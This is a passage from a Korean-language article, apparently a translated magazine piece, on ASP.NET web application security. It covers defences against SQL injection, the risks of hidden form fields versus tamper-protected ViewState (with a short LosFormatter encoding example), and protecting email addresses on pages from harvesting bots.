SQL 주입은 또 하나의 잘 알려진 공격 형태로, 필터링되지 않은 사용자 입력을 사용하여 데이터베이스 명령을 만드는 응용 프로그램을 공격합니다. 응용 프로그램이 양식 필드에서 사용자가 입력한 내용을 사용하여 SQL 명령 문자열을 만드는 경우, 악의적인 사용자가 해당 페이지에 액세스하여 악성 매개 변수를 입력해 쿼리 특성을 수정할 수 있는 위험이 있습니다. SQL 주입에 대한 자세한 내용은여기 

다양한 방식으로 SQL 주입 공격을 막을 수 있습니다. 가장 일반적으로 사용되는 기술은 다음과 같습니다.

• 모든 사용자 입력이 적절한 형식으로 되어 있고 예상 패턴(우편 번호, SSN, 전자 메일 주소)을 따르는지 확인합니다. 텍스트 상자에 숫자를 입력해야 하는 경우 사용자가 숫자로 변환할 수 없는 내용을 입력하면 요청을 차단합니다.
• 매개 변수화된 쿼리를 사용하거나 저장 프로시저(권장)를 사용합니다.
• SQL Server 사용 권한을 사용하여 데이터베이스에서 각 사용자가 수행할 수 있는 작업을 제한합니다. 예를 들어 xp_cmdshell을 해제하거나 관리자만 사용할 수 있도록 제한할 수 있습니다.

저장 프로시저를 사용하면 공격을 받을 가능성이 상당히 줄어듭니다. 실제로 저장 프로시저를 사용하면 SQL 문자열을 동적으로 작성할 필요가 없습니다. 또한 SQL Server에서는 지정된 형식에 대해 모든 매개 변수의 유효성을 검사합니다. 이것만으로는 완벽하게 안전한 기술이라고 할 수 없지만, 유효성 검사를 함께 사용하면 안전성이 보다 높아집니다.

더 나아가 테이블 삭제 등과 같이 손실이 클 수 있는 작업은 권한이 있는 사용자만 수행할 수 있도록 해야 합니다. 이를 위해서는 응용 프로그램 중간 계층을 주의해서 디자인해야 합니다. 역할을 중심으로 하는 디자인이 좋습니다. 이는 보안 때문만은 아닙니다. 사용자를 역할별로 그룹으로 묶어서 각 역할에 대해 최소한 권한 집합만을 가진 계정을 정의합니다.

몇 주 전에 Wintellect 웹 사이트가 복잡한 형태의 SQL 주입 공격을 받았습니다. 해커가 FTP 스크립트를 만들고 실행하여 실행 파일을 다운로드(악의적인지는 모르겠군요)하려고 했습니다. 다행히도 공격은 실패했습니다. 공격을 막은 것은 강력한 입력 유효성 검사, 저장 프로시저 사용 및 SQL Server 권한 사용 덕분이 아닐까요.

원치 않는 SQL 코드 주입을 피하려면 아래의 지침을 따르십시오.

• 최소한의 권한만으로 실행하고 코드를 "sa"로서 실행하지 않아야 합니다.
• 기본 제공 저장 프로시저에 대한 액세스를 제한합니다.
• SQL의 매개 변수화된 쿼리를 적극 사용합니다.
• 문자열 연결을 통해 문을 만들지 않으며 데이터베이스 오류를 반향하지 않습니다.

숨겨진 필드

이전의 ASP에서는 숨겨진 필드를 통해서만 요청 간에 데이터를 유지할 수 있었습니다. 다음 번 요청에서 가져와야 하는 데이터는 숨겨진<input>필드로 압축되어 왕복됩니다. 클라이언트에서 누군가가 필드에 저장된 값을 수정하면 어떻게 될까요? 일반 텍스트의 경우 서버쪽 환경에서는 이를 해결할 방법이 없습니다. 페이지와 개별 컨트롤의 ASP.NETViewState속성에는 다음 두 가지 목적이 있습니다. 첫 번째는ViewState를 통해 요청 간에 상태를 유지하는 것이고, 두 번째는 보호된 변조 방지 숨겨진 필드에서 사용자 지정 값을 저장하는 것입니다.

그림 2와 같이 변조를 감지하기 위해 모든 요청에서 확인되는 해시 값이 뷰 상태에 추가됩니다. 몇 가지 경우를 제외한다면 ASP.NET에서는 숨겨진 필드를 사용하지 않아도 됩니다. 같은 작업이라도 뷰 상태가 훨씬 더 안전한 방법으로 작업을 수행하기 때문입니다. 가격이나 신용 카드 정보 같은 중요한 값을 일반 숨겨진 필드에 저장하는 것은 해커의 침입을 위해 문을 열어 주는 것이나 다름없습니다. 뷰 상태를 사용하면 해당 데이터 보호 메커니즘으로 인해 이러한 잘못된 작업의 위험도 줄일 수가 있습니다. 그러나 뷰 상태가 변조를 방지하기는 하지만 암호화하지 않는 한 신뢰성을 보장하지는 못하므로, 신용 카드 정보를 뷰 상태에 저장하는 것 역시 위험합니다.

ASP.NET에서 숨겨진 필드를 사용할 수 있는 경우는 서버로 데이터를 다시 보내야 하는 사용자 지정 컨트롤을 빌드할 때입니다. 예를 들어 열 순서 재지정을 지원하는DataGrid컨트롤을 새로 만드는 경우가 있습니다. 포스트백(postback)에서 새 순서를 다시 서버로 전달해야 합니다. 이때 이 정보를 숨겨진 필드에 저장합니다.

숨겨진 필드가 읽기/쓰기 필드인 경우, 즉 클라이언트가 이 필드에 쓸 수 있는 경우에는 해킹 방지를 위해 할 수 있는 일은 거의 없습니다. 텍스트를 해시하거나 암호화할 수 있지만 이를 통해 해킹이 완벽하게 방지된다고는 확신할 수 없습니다. 가장 좋은 방어 수단은 숨겨진 필드에 비활성 및 무해한 정보만 포함되도록 하는 것입니다.

ASP.NET에서는 serialize된 모든 개체를 인코딩 및 해시하는 데 사용할 수 있는 잘 알려지지 않은 클래스를 제공합니다. 이는LosFormatter클래스로,ViewState구현에서 클라이언트로 왕복되는 인코딩된 텍스트를 만드는 데 사용하는 것과 동일한 클래스입니다.

private string EncodeText(string text)

{

StringWriter writer = new StringWriter();

LosFormatter formatter = new LosFormatter();

formatter.Serialize(writer, text);

return writer.ToString();

}

앞에 나와 있는 코드 조각에서는LosFormatter를 사용하여 뷰 상태와 비슷하고 인코딩 및 해시된 콘텐츠를 만드는 방법을 보여 줍니다.

전자 메일과 스팸

마지막으로 언급하자면, 최소한 가장 일반적인 두 가지 공격(일반 XSS와 한 번 클릭)은 의심하지 않는 공격 대상에게 스푸핑된 유인 링크를 클릭하도록 하는 방법으로 수행되는 경우가 많습니다. 스팸 방지 필터 기능을 사용하고 있음에도 불구하고 받은 편지함에서 그러한 링크가 들어 있는 메일을 여러 번 발견했습니다. 대량의 전자 메일 주소 목록을 쉽게 구입할 수 있습니다. 그러한 목록을 만드는 데 사용되는 주요 기술 중 하나는 웹 사이트의 공개 페이지를 검색하여 전자 메일 주소처럼 보이는 것은 모두 찾아 수집해 오는 것입니다.

페이지에 전자 메일 주소가 표시되어 있으면 웹 로봇으로 언제든지 가져올 수 있습니다. 정말이냐구요? 이는 전자 메일 주소 표시 방법에 따라 달라집니다. 주소를 하드 코드로 입력했다면 수집될 가능성이 높습니다. dino-at-microsoft-dot-com 등의 대체 표현을 사용하는 경우에는 웹 로봇이 주소를 수집하지 못하는지도 확실치 않을 뿐더러 적법한 연락처를 지정하려는 사용자도 페이지를 읽을 때 불편할 것입니다.

무엇보다도 전자 메일 주소를mailto링크처럼 동적으로 생성할 수 있는 방법을 찾아야 합니다. 이는 Marco Bellinaso가 작성한 무료 구성 요소를 통해 수행할 수 있습니다. 전체 소스 코드가 포함된 이 구성 요소를DotNet2TheMax 

요약

의심할 여지 없이 모든 런타임 환경 중 가장 위험한 환경은 웹일 것입니다. 누구나 웹 사이트에 액세스하여 올바른 데이터와 악의적인 데이터를 전달할 수 있기 때문입니다. 그러나 이를 방지하기 위해 사용자 입력을 받아들이지 않는 웹 응용 프로그램을 만드는 것도 의미가 없습니다.

그러므로 아무리 강력한 방화벽을 사용하고 자주 패치를 적용해도 본질적으로 취약한 웹 응용 프로그램을 실행한다면 공격자는 주 출입문(포트 80)을 통해 시스템으로 진입할 수 있습니다.

ASP.NET 응용 프로그램도 다른 웹 응용 프로그램보다 더 취약하지도, 안전하지도 않습니다. 코딩 방법, 현장 경험 및 팀워크에 따라 응용 프로그램이 안전해질 수도 있고 취약해질 수도 있습니다. 네트워크가 안전하지 않다면 어떤 응용 프로그램도 안전하지 않습니다. 마찬가지로, 네트워크를 안전하게 잘 관리하더라도 응용 프로그램에 결함이 있으면 공격자가 침입할 것입니다.

ASP.NET의 장점은 여러 과정을 거쳐야 통과가 가능한 높은 수준의 보안을 구축할 수 있는 뛰어난 도구를 제공한다는 것입니다. 그래도 아직은 충분한 수준이 아닙니다. ASP.NET의 기본 제공 솔루션을 무시해서도 안 되겠지만 전적으로 의지하지는 마십시오. 그리고 일반적인 공격에 대해 가능한 한 많은 정보를 파악하십시오.

이 기사에는 기본 제공 기능에 대한 자세한 목록과 공격 및 방어에 대한 몇 가지 배경 정보가 나와 있습니다. 진행 중인 공격을 감지하는 기술은 다른 기사에서 확인해 보시기 바랍니다.

관련 리소스

Writing Secure Code(Michael Howard/David LeBlanc 공저)

TechNet Magazine, Theft On The Web: Prevent Session Hijacking 

Dino Esposito는 이탈리아에 살고 있는Wintellect